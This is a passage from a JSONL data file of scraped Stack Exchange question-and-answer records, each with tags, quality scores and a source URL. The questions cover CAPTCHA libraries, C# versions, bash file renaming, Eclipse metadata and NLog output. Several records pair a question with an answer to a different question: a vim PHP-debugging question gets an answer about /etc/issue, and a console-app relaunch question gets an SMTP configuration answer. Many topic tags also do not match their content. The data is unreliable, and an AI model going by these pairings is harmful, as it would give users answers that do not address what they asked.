B\n2A700..2B73F; CJK Unified Ideographs Extension C\n2B740..2B81F; CJK Unified Ideographs Extension D\n2B820..2CEAF; CJK Unified Ideographs Extension E\n2CEB0..2EBEF; CJK Unified Ideographs Extension F\n2F800..2FA1F; CJK Compatibility Ideographs Supplement\nE0000..E007F; Tags\nE0100..E01EF; Variation Selectors Supplement\nF0000..FFFFF; Supplementary Private Use Area-A\n100000..10FFFF; Supplementary Private Use Area-B\n\n# EOF\n''')\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:46.639288"}
{"id": "hf_18664c32a707", "question": "<p>I'm in the process of adding CAPTCHA validation to one of my websites and need to know what open source solutions exist.  Please note strengths and weaknesses and what platform they work with.  I'm primarily interested in ASP.NET solutions but feel free to include PHP, Java, etc.</p>\n", "question_body": "", "answer": "ReCAPTCHA\nis the same one StackOverflow uses. It has an\nASP.NET implementation\n.\nIt uses a webservice to provide the captcha images; this is an university trying to digitize difficult to OCR texts. I'm not sure how easy it would be to replace this portion. There are many\nopen source client implementations\n, as the API is\nquite well documented\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:46.810826"}
{"id": "hf_961d2391143f", "question": "<p>So far I've found the following components for building ASP.NET MVC views:</p>\n\n<ul>\n<li><a href=\"http://developer.yahoo.com/yui/\" rel=\"nofollow noreferrer\">Yahoo UI (YUI)</a> </li>\n<li><a href=\"http://extjs.com/products/extjs/\" rel=\"nofollow noreferrer\">Ext JS</a></li>\n<li><a href=\"http://www.webplicity.net/flexigrid/\" rel=\"nofollow noreferrer\">Flexgrid</a> (grid only)</li>\n</ul>\n\n<p>What are the other options that are currently available which inlcude a nice grid component?</p>\n", "question_body": "", "answer": "JQuery\nJQuery Pugins\nThere are some grid plugins, which I have not used:\nFlexGrid\nJQuery Grid plugin\nAnother JQuery Grid plugin", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:46.971061"}
{"id": "hf_45f99256c8dd", "question": "<p>I want to setup a CRON that runs a PHP script that in turn moves XML file (holding non-sensitive information) from one server to another. </p>\n\n<p>I have been given the proper username/password, and want to use SFTP protocol. The jobs will run daily. There is the potential that one server is Linux and the other is Windows.  Both are on different networks.  </p>\n\n<p>What is the best way to move that file?</p>\n", "question_body": "", "answer": "Why not use\nshell_exec\nand\nscp\n?\n```\n```\n<?php\n    $output = shell_exec('scp file1.txt dvader@deathstar.com:somedir');\n    echo \"<pre>$output</pre>\";\n?>\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:47.211168"}
{"id": "hf_9b356eefd92c", "question": "<p>I'd like to create a table which has an integer primary key limited between 000 and 999. Is there any way to enforce this 3 digit limit within the sql?</p>\n\n<p>I'm using sqlite3.\nThanks.</p>\n", "question_body": "", "answer": "You may be able to do so using a CHECK constraint.\nBut,\nCHECK constraints are supported as of version 3.3.0. Prior to version 3.3.0, CHECK constraints were parsed but not enforced.\n(from\nhere\n)\nSo unless SQLite 3 = SQLite 3.3 this probably won't work", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:47.386785"}
{"id": "hf_bf3ea40fa998", "question": "<p>which would you recommend?\nwhich is faster, reliable?\napache mod_python or nginx/lighttpd FastCGI?</p>\n", "question_body": "", "answer": "Personally I've had it working with FastCGI for some time now (6 months or so) and the response times 'seem' quicker when loading a page that way vs mod___python. The critical reason for me though is that I couldn't see an obvious way to do multiple sites from the same apache / mod_python install whereas FastCGI was a relative no-brainer.\nI've not conducted any particularly thorough experiments though :-)\n[Edit]\nSpeaking from experience though, setting up FastCGI can be a bit of a pain the first time around. I keep meaning to write a guide..!", "tags": ["nginx"], "source": "huggingface", "category": "nginx", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:47.565635"}
{"id": "hf_978504e1d033", "question": "<p>I am interested in mastering prefetch-related functions such as</p>\n\n<p>_mm_prefetch(...)</p>\n\n<p>so when I perform operations that loop over arrays, the memory bandwidth is fully utilized.  What are the best resources for learning about this?</p>\n\n<p>I am doing this work in C using GCC 4 series on an intel linux platform.</p>\n", "question_body": "", "answer": "This\nsite\ncontains details on gcc prefetch support including prefetch options and functions and includes details on several architectures including Intel.  The gcc\nmanual\ncontains details on the\n```\n__builtin_prefetch\n```\nbuilt-in function in section 5.46.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:47.712603"}
{"id": "hf_7c3a892b9e93", "question": "<p>Is there any way of batch renaming files in sub directories?</p>\n\n<p>For example:</p>\n\n<p>Rename <code>*.html</code> to <code>*.htm</code> in a folder which has directories and sub directories.</p>\n", "question_body": "", "answer": "In Bash, you could do the following:\n```\n```\nfor x in $(find . -name \\*.html); do\n  mv $x $(echo \"$x\" | sed 's/\\.html$/.htm/')\ndone\n```\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:47.857926"}
{"id": "hf_91da79b17313", "question": "<p>When I type <code>uname -a</code>, it gives the following output.</p>\n\n<pre><code>Linux mars 2.6.9-67.0.15.ELsmp #1 SMP Tue Apr 22 13:50:33 EDT 2008 i686 i686 i386 GNU/Linux\n</code></pre>\n\n<p>How can I know from this that the given OS is 32 or 64 bit?</p>\n\n<p>This is useful when writing <code>configure</code> scripts, for example: what architecture am I building for?</p>\n", "question_body": "", "answer": "If you were running a 64 bit platform you would see x86_64 or something very similar in the output from\nuname\n-a\nTo get your specific machine hardware name run\n```\n```\nuname -m\n```\n```\nYou can also call\n```\n```\ngetconf LONG_BIT\n```\n```\nwhich returns either 32 or 64", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:47.976468"}
{"id": "hf_e5991a2a69cd", "question": "<p>Using vim 7.1, I recently heard you can debug php in VI.\nBut how?</p>\n", "question_body": "", "answer": "Put some content in the file /etc/issue\nSome more details in\nhttp://www.linuxfromscratch.org/blfs/view/svn/postlfs/logon.html\ncrap /etc/motd was the file i was trying to remember. Upvoting his answer :)", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:48.131715"}
{"id": "hf_c889b77e9df9", "question": "<p>Instead of hardcoding the default @author template I would like Eclipse to use user's real name taken from account information (in Linux - but Windows solution is also welcome). Entering it somewhere into Eclipse configuration would be acceptable, too, alas I can't find the right place.</p>\n", "question_body": "", "answer": "It seems that your best bet is to redefine the java\n```\nuser.name\n```\nvariable either at your command line, or using the\n```\neclipse.ini\n```\nfile in your eclipse install root directory.\nThis seems to work fine for me:\n```\n```\n-showsplash\norg.eclipse.platform\n--launcher.XXMaxPermSize\n256M\n-vmargs\n-Dosgi.requiredJavaVersion=1.5\n-Duser.name=Davide Inglima\n-Xms40m\n-Xmx512m\n```\n```\nUpdate:\nhttp://morlhon.net/blog/2005/09/07/eclipse-username/\nis a dead link...\nHere's a new one:\nhttps://web.archive.org/web/20111225025454/http://morlhon.net:80/blog/2005/09/07/eclipse-username/", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:48.240905"}
{"id": "hf_5e3f3f91b4cf", "question": "<p>I used the owner-drawn strategy on CMyListBox class which derives from CListBox. I only want the DrawItem() method to perform when I insert an item in the listbox. But the method is invoked many times. How can I change to invoke it whenever I need.</p>\n", "question_body": "", "answer": "The DrawItem() method is called whenever there is a requirement to draw any given item in the listbox.  If you do not respond to it you are likely to get a blank area in your list box, where the drawn data has been erased and you have not refreshed it.  If you really do not think the drawing is necessary, you could do something like\n```\n```\nvoid CMyListBox::DrawItem( LPDRAWITEMSTRUCT lpDrawItemStruct )\n{\n   if (!m_DrawingEnabled)\n     return;\n}\n```\n```\nWhere m_DrawingEnabled is a member you maintain to stop unnecessary draws,", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:48.407595"}
{"id": "hf_17290504dfe9", "question": "<p>I'm working on a project that contains Thomas Brothers Map page and grid numbers.  Is there a way to programatically convert from this map page to a latitude &amp; longitude?</p>\n\n<p>An Example would be for the intersection of the US101 &amp; I405 freeways.</p>\n\n<p>ThomasBrothers: 561-3G   (page-grid)</p>\n", "question_body": "", "answer": "Not that I know of, but I don't have a lot of experience with Thomas bros maps.  Are you talking about printed version of the maps or is there a link somewhere to an online map?\nIf you just need a few lat/longs, then you can look up the locations that correspond to the grid and get the lats and longs manually at many websites, including\nhttp://itouchmap.com/latlong.html\nIf you provide a link to a Thomas bros map that you are using, I might be able to help further.\nBy looking at the link above, you can determine that US 101 and I-405 has a latitude of  34.16073390017978 and a longitude of -118.46952438354492.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:48.557418"}
{"id": "hf_42dcd4fe8724", "question": "<p>We use Telerik's RadEditor for our content management system's WYSIWYG editor.  We need the find &amp; replace functionality that is in the WYSIWYG editor to also be in the HTML editor.  The editor is pretty customizable, anyone know if there is a way to enable this or hack it in?</p>\n", "question_body": "", "answer": "There is an\nexample on their demo site for RadEditor ASP.NET Ajax\n.\nJust click on the 3rd button of the toolbar in order to test \"Find and Replace\".\nTake a look at\nthis example page\ntoo.\nIt defines this toolbar\n```\n```\n...  \n<telerik:EditorSeparator />\n<telerik:editortool name=\"FindAndReplace\" />\n<telerik:editortool name=\"TableWizard\" />\n<telerik:editortool name=\"LinkManager\" />\n<telerik:editortool name=\"PageProperties\" />\n<telerik:EditorSeparator />\n...\n```\n```", "tags": ["prometheus"], "source": "huggingface", "category": "prometheus", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:48.680920"}
{"id": "hf_6353abb86f25", "question": "<p>What are the correct version numbers for C#? What came out when? Why can't I find any answers about <strong><em>C# 3.5</em></strong>?</p>\n\n<p>This question is primarily to aid those who are searching for an answer using an incorrect version number, e.g. <strong><em>C# 3.5</em></strong>. The hope is that anyone failing to find an answer with the wrong version number will find <em>this</em> question and then search again with the right version number.</p>\n", "question_body": "", "answer": "C# language version history:\nThese are the\nversions of C#\nknown about at the time of this writing:\nC# 1.0\nreleased with .NET 1.0 and VS2002 (January 2002)\nC# 1.2\n(bizarrely enough); released with .NET 1.1 and VS2003 (April 2003). First version to call\n```\nDispose\n```\non\n```\nIEnumerator\n```\ns which implemented\n```\nIDisposable\n```\n. A few other small features.\nC# 2.0\nreleased with .NET 2.0 and VS2005 (November 2005). Major new features: generics, anonymous methods, nullable types, and iterator blocks\nC# 3.0\nreleased with .NET 3.5 and VS2008 (November 2007). Major new features: lambda expressions, extension methods, expression trees, anonymous types, implicit typing (\n```\nvar\n```\n), and query expressions\nC# 4.0\nreleased with .NET 4 and VS2010 (April 2010). Major new features: late binding (\n```\ndynamic\n```\n), delegate and interface generic variance, more\nCOM\nsupport, named arguments, tuple data type and optional parameters\nC# 5.0\nreleased with .NET 4.5 and VS2012 (August 2012).\nMajor features\n: async programming, and caller info attributes. Breaking change:\nloop variable closure\n.\nC# 6.0\nreleased with .NET 4.6 and VS2015 (July 2015). Implemented by\nRoslyn\n.\nFeatures\n: initializers for automatically implemented properties, using directives to import static members, exception filters, element initializers,\n```\nawait\n```\nin\n```\ncatch\n```\nand\n```\nfinally\n```\n, extension\n```\nAdd\n```\nmethods in collection initializers.\nC# 7.0\nreleased with .NET 4.7 and VS2017 (March 2017). Major\nnew features\n:\ntuples\n,\nref locals and ref return\n,\npattern matching\n(including pattern-based switch statements),\ninline\n```\nout\n```\nparameter declarations\n,\nlocal functions\n,\nbinary literals, digit separators\n, and\narbitrary async returns\n.\nC# 7.1\nreleased with VS2017 v15.3 (August 2017). New features:\nasync main\n,\ntuple member name inference\n,\ndefault expression\n, and\npattern matching with generics\n.\nC# 7.2\nreleased with VS2017 v15.5 (November 2017). New features:\nprivate protected access modifier\n,\nSpan<T>, aka interior pointer, aka stackonly struct\n, and\neverything else\n.\nC# 7.3\nreleased with VS2017 v15.7 (May 2018). New features:\nenum, delegate and\n```\nunmanaged\n```\ngeneric type constraints\n.\n```\nref\n```\nreassignment. Unsafe improvements:\n```\nstackalloc\n```\ninitialization, unpinned indexed\n```\nfixed\n```\nbuffers, custom\n```\nfixed\n```\nstatements. Improved overloading resolution. Expression variables in initializers and queries.\n```\n==\n```\nand\n```\n!=\n```\ndefined for tuples. Auto-properties' backing fields can now be targeted by attributes.\nC# 8.0\nreleased with .NET Core 3.0 and VS2019 v16.3 (September 2019). Major\nnew features\n:\nnullable reference-types\n,\nasynchronous streams\n,\nindices and ranges\n,\nreadonly members\n,\nusing declarations\n,\ndefault interface methods\n,\nstatic local functions\n, and\nenhancement of interpolated verbatim strings\n.\nC# 9.0\nreleased with\n.NET 5.0\nand VS2019 v16.8 (November 2020). Major\nnew features\n:\ninit-only properties\n,\nrecords\n,\nwith-expressions\n, data classes, positional records,\ntop-level programs\n,\nimproved pattern matching\n(simple type patterns, relational patterns, logical patterns), improved target typing (target-type\n```\nnew\n```\nexpressions, target typed\n```\n??\n```\nand\n```\n?\n```\n), and covariant returns. Minor features: relax ordering of\n```\nref\n```\nand\n```\npartial\n```\nmodifiers, parameter null checking, lambda discard parameters, native\n```\nint\n```\ns, attributes on local functions, function pointers, static lambdas, extension\n```\nGetEnumerator\n```\n, module initializers, and extending partial.\nC# 10.0\nreleased with .NET 6.0 (November 2021). Major\nnew features\n: record structs, struct parameterless constructors, interpolated string handlers, global\n```\nusing\n```\ndirectives, file-scoped namespace declarations, extended property patterns, const interpolated strings, mixed assignment and declaration in deconstruction, async method builders (via attributes) for individual methods, the\n```\nCallerArgumentExpression\n```\nattribute for parameters, enhanced\n```\n#line\n```\npragmas.\nC# 11.0\nwill be released with .NET 7.0 (Date to be annonced, already testable). Major\nnew features\n: file-scoped types, generic math support, auto-default structs, pattern match\n```\nSpan<char>\n```\non a constant string, extended nameof scope, numeric\n```\nIntPtr\n```\n, UTF-8 string literals, required members,\n```\nref\n```\nfields and\n```\nscoped ref\n```\n, raw string literals, improved method group conversion to delegate, warning wave 7, generic attributes, newlines in string interpolation expressions, list patterns\nIn response to the OP's question:\nWhat are the correct version numbers for C#? What came out when? Why can't I find any answers about C# 3.5?\nThere is no such thing as C# 3.5 - the cause of confusion here is that the C# 3.0 is present in .NET 3.5. The language and framework are versioned independently, however - as is the CLR, which is at version 2.0 for .NET 2.0 through 3.5, .NET 4 introducing CLR 4.0, service packs notwithstanding. The CLR in .NET 4.5 has various improvements, but the versioning is unclear: in some places it may be referred to as CLR 4.5 (\nthis MSDN page\nused to refer to it that way, for example), but the\n```\nEnvironment.Version\n```\nproperty still reports 4.0.xxx.\nAs of May 3, 2017, the C# Language Team created a history of C# versions and features on their GitHub repository:\nFeatures Added in C# Language Versions\n. There is also\na page that tracks upcoming and recently implemented language features\n.", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:48.863956"}
{"id": "hf_69e5f6445b69", "question": "<p>In Bash I'm executing a command and putting the result in a variable like this:</p>\n\n<pre>export var=`svn ls`</pre>\n\n<p>But if SVN fails for some reason--say it returns a non-zero error code--export still returns status code 0. How do I detect if the executed command fails?</p>\n", "question_body": "", "answer": "I had similar problem, it can be done like this:\n```\nrm -f error_marker_file\nexport var=`svn ls || touch error_marker_file`\n\n[ -f error_marker_file ] && echo \"error in executing svn ls\"\n```", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:49.028219"}
{"id": "hf_fd8aa4223566", "question": "<p>The scriptaculous wiki has a demo (<a href=\"http://github.com/madrobby/scriptaculous/wikis/effect-slidedown\" rel=\"nofollow noreferrer\">http://github.com/madrobby/scriptaculous/wikis/effect-slidedown</a>) that shows the SlideDown effect in use. However I need to have the same link to slide down if a certain DIV is hidden and SlideUp if that DIV is showing.</p>\n\n<p>How do I achieve this?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Wrap it in a function, call the function instead.\n```\n```\nfunction slideMe(myDiv) {\n\n    if(Element.visible(myDiv)) {\n    //slide up\n\n    }\n\n    else {\n\n    //slide down\n\n    }\n}\n```\n```", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:49.133761"}
{"id": "hf_4f315a1aac66", "question": "<p>I'm writing a bash script that needs to delete old files.</p>\n\n<p>It's currently implemented using :</p>\n\n<pre><code>find $LOCATION -name $REQUIRED_FILES -type f -mtime +1 -delete\n</code></pre>\n\n<p>This will delete of the files older than 1 day.</p>\n\n<p>However, what if I need a finer resolution that 1 day, say like 6 hours old? Is there a nice clean way to do it, like there is using find and -mtime?</p>\n", "question_body": "", "answer": "-mmin is for minutes.\nTry looking at the man page.\n```\n```\nman find\n```\n```\nfor more types.", "tags": ["bash"], "source": "huggingface", "category": "bash", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:49.483676"}
{"id": "hf_c110bcc1e750", "question": "<p>I use Eclipse with \"external\" projects - i.e. projects created from existing source.</p>\n\n<p>Poking around in the workspace files, I cannot find any reference to these projects. My question is: how does Eclipse keep track of these projects?</p>\n\n<p>I'd like to be able to add such a project to the workspace automatically (by generating <code>.project</code> and <code>.classpath</code> files).</p>\n", "question_body": "", "answer": "Windows:\n```\n```\n<workspace>\\.metadata\\.plugins\\org.eclipse.core.resources\\.projects\\\n```\n```\nLinux / osx:\n```\n```\n<workspace>/.metadata/.plugins/org.eclipse.core.resources/.projects/\n```\n```\nYour project can exist outside the workspace, but all Eclipse-specific\n```\nmetadata\n```\nare stored in that\n```\norg.eclipse.core.resources\\.projects\n```\ndirectory\nAs noted in\nthe comments\nby\ntk421storm\n, and in\nJeegar Patel\n's\nanswer\n:\nIn order for manual changes to take effect, make sure to do\n```\nFile -> Refresh\n```\nafterwards.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:49.845408"}
{"id": "hf_52df2b4c4ee0", "question": "<p>I have a directory of files that I'd like to append file extension to as long as they don't have an existing, specified extension. So add .txt to all file names that don't end in .xyz. PowerShell seems like a good candidate for this, but I don't know anything about it. How would I go about it?</p>\n", "question_body": "", "answer": "Consider the DOS command FOR in a standard shell.\n```\n```\nC:\\Documents and Settings\\Kenny>help for\nRuns a specified command for each file in a set of files.\n\nFOR %variable IN (set) DO command [command-parameters]\n\n  %variable  Specifies a single letter replaceable parameter.\n  (set)      Specifies a set of one or more files.  Wildcards may be used.\n  command    Specifies the command to carry out for each file.\n  command-parameters\n             Specifies parameters or switches for the specified command.\n\n...\n\nIn addition, substitution of FOR variable references has been enhanced.\nYou can now use the following optional syntax:\n\n    %~I         - expands %I removing any surrounding quotes (\")\n    %~fI        - expands %I to a fully qualified path name\n    %~dI        - expands %I to a drive letter only\n    %~pI        - expands %I to a path only\n    %~nI        - expands %I to a file name only\n    %~xI        - expands %I to a file extension only\n    %~sI        - expanded path contains short names only\n    %~aI        - expands %I to file attributes of file\n    %~tI        - expands %I to date/time of file\n    %~zI        - expands %I to size of file\n    %~$PATH:I   - searches the directories listed in the PATH\n                   environment variable and expands %I to the\n                   fully qualified name of the first one found.\n                   If the environment variable name is not\n                   defined or the file is not found by the\n                   search, then this modifier expands to the\n                   empty string\n```\n```", "tags": ["powershell"], "source": "huggingface", "category": "powershell", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:50.033570"}
{"id": "hf_5c95c8c4fe42", "question": "<p>Sometimes it's difficult to describe some of the things that \"us programmers\" may think are simple to non-programmers and management types.</p>\n\n<p>So...</p>\n\n<p>How would you describe the difference between Managed Code (or Java Byte Code) and Unmanaged/Native Code to a Non-Programmer?</p>\n", "question_body": "", "answer": "\"The specific term managed code is particularly pervasive in the Microsoft world.\"\nSince I work in MacOS and Linux world, it's not a term I use or encounter.\nThe Brad Abrams \"\nWhat is Managed Code\n\" blog post has a definition that say things like \".NET Framework Common Language Runtime\".\nMy point is this: it may not be appropriate to explain it the terms at all.  If it's a bug, hack or work-around, it's not very important.  Certainly not important enough to work up a sophisticated lay-persons description.  It may vanish with the next release of some batch of MS products.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:50.171815"}
{"id": "hf_aeb91f645ea9", "question": "<p>I'm looking for a broad overview of what I need to do and in what order to migrate a W2003 Server to a virtual server environment. Specifically:</p>\n\n<p>How does it work in general?\nDo I need to prepare my disks in any way?\nWhat do I install first? The toolkit? Virtual Server?\nCan I install linux later?</p>\n\n<p>etc.</p>\n\n<p>Any pointers welcome!</p>\n", "question_body": "", "answer": "Depending on which virtualisation platform you're migrating to there are tools to perform physical to virtual conversions:\nhttp://www.vmware.com/products/converter/\nPlateSpin was the product that we were recommended when we virtualised a chunk of our hosting platform to Virtual Iron.\nhttp://www.platespin.com/products/powerconvert/\nIt'll convert physical to Microsoft Virtual Server, Virtual Iron, VMware and Citrix XenServer amongst other capabilities.\nIn reality we just ran our internal server build process on the virgin VM's which gave us the opportunity to start out with fresh machines and without the configuration 'rot' that happens over time to servers of a particular vintage.", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:50.324747"}
{"id": "hf_f0ed99a2df6a", "question": "<p>At the moment I have a console application.  I would like to be able to exit the application, update through svn, recompile and then relaunch.  This is running under a Linux environment.  At the moment I'm not sure how I would be able to relaunch the application.  Is there a way to do this?</p>\n", "question_body": "", "answer": "Well, in code you need to put the sender's name in quotes, followed by the e-mail address.\n```\n```\nnew SmtpClient(...).Send(\"\\\"John Smith\\\" jsmith@somewhere.com\", ...);\n```\n```\nAnd...it looks like you can encode it into the attribute too...\n```\n```\n<smtp from=\"&quot;John Smith&quot; &lt;jsmith@somewhere.com&gt;\">\n```\n```", "tags": ["linux"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:50.494373"}
{"id": "hf_dc050c8f907e", "question": "<p>I'm trying to send the output to the console (or colouredconsole) ... which I'm hoping would (also?) go to the Visual Studio's <code>Output</code> window for any ASP.NET web site/app/mvc app.</p>\n<p>It doesn't by default, but if I change the target to 'file' then it works for sure.</p>\n<p>Can NLog output to the <code>Output</code> window for web apps?</p>\n", "question_body": "", "answer": "You can use this configuration file (nlog.config in the app path):\n```\n```\n<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<nlog xmlns=\"http://www.nlog-project.org/schemas/NLog.xsd\"\n      xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\n  <targets>\n        <target name=\"debugger\" xsi:type=\"Debugger\" layout=\"${logger}::${message}\"/>\n  </targets>\n\n  <rules>\n    <logger name=\"*\" minlevel=\"Trace\" writeTo=\"debugger\" />\n  </rules>\n</nlog>\n```\n```\nSee also:\nhttps://github.com/NLog/NLog/wiki/Debugger-target\n-Scott", "tags": ["git"], "source": "huggingface", "category": "git", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:50.620612"}
{"id": "hf_6a43ad18e02a", "question": "<p>We are developing a desktop application(visual basic 6.0).We have our own logging framework. What are good practices? When we have a web application, then we can control the level of logging. How to go about in a desktop app?</p>\n", "question_body": "", "answer": "Any answer needs to be considered based on your environment:\nDo your business rules (or laws)\nrequire\ncertain activities to be logged?\nIs security an issue?\nDo actions need to be traceable?\nIs the size of the log file (or the amount of disk space) an issue?\nIs your motivation to record activity, to debug, or both?\nWith those in mind:\nConsider allowing the user to select the verbosity, or \"logging level.\"\nLog all program errors and significant user errors.\nLog any activities that affect system configuration or operation.\nLog the start and end of user sessions.\nLog the start and end of the application.\nConsider logging the first time a significant activity occurs.\nOther suggestions:\nInclude timestamps, either in each log or at the beginning of a \"group\" of logs, as best appropriate for your application.\nIf you're logging to a file, consider rotating the log (\ni.e.\nclosing one file and opening a new one) when it reaches a certain size or age.\nIf the application contains several modules, include the name of the module in each log.\nIf more than one person uses the application (shared computer?), log the user ID at the beginning of each session.\nAssign log \"levels\" based on the severity (Error, Warning, Info, Debug).  The\n```\nsyslog\n```\nspecification defines 7 \"standard\" levels that serve as a good reference.\nAsk your customer what they expect to see in the log.", "tags": ["aws"], "source": "huggingface", "category": "aws", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:50.765583"}
{"id": "hf_f5c9614b6ad8", "question": "<p>Is there a csh script/command to list all the files in source source tree which have line endings that show up as \"^M\" in emacs (under linux).</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "```\n```\nfind . -type f -exec grep $'\\r' {} +\n```\n```\nThe\n```\n$'\\r'\n```\nprobably requires bash to function correctly.", "tags": ["linux", "bash"], "source": "huggingface", "category": "linux", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:16:50.930642"}
{"id": "hf_aeb23a87caa9", "question": "<p>When posting example code or filing bug reports based on a real production app, it would be helpful to have some way to change the table and column names to not potentially give away information about the internals of the app.  Doing it by hand without breaking things is time consuming.  Does anything automatic exist?  Ideally it would use real English words so they are more easily referred to than random text strings.</p>\n", "question_body": "", "answer": "As long as you don't use real data, I don't see what the issue is.  Most apps are fairly obvious based on the requirements.  ie CRM system = (customer name, address, etc...) or (customer name, addressid, etc.. with some address table with parts of the address, etc...).  By knowing your schema I have no idea how you implement your app.  Generally without the stored procedures/program code it would be hard to steal any intellectual property.  Even if you were the NSA or something (InternetIP, PacketHeadingID, PacketDetailID, TimeStampID).  Even with the structure of the tables I still would have no information on how your system to log all the internet traffic actually works.  I also wouldn't know anything that is logged.\nI don't know of anything off hand to do what you are requesting, but I would think it is fairly easy to write a script to do it on your own.  Look at the table columns and datatypes and call text columns \"TextColumn1\", int columns \"IntColumn2\", etc. and build a table of substitutions, then perform the substitutions globally in the script file.  I would think this is a fairly easy Python/Perl/PowerShell/Ruby/VbScript program.", 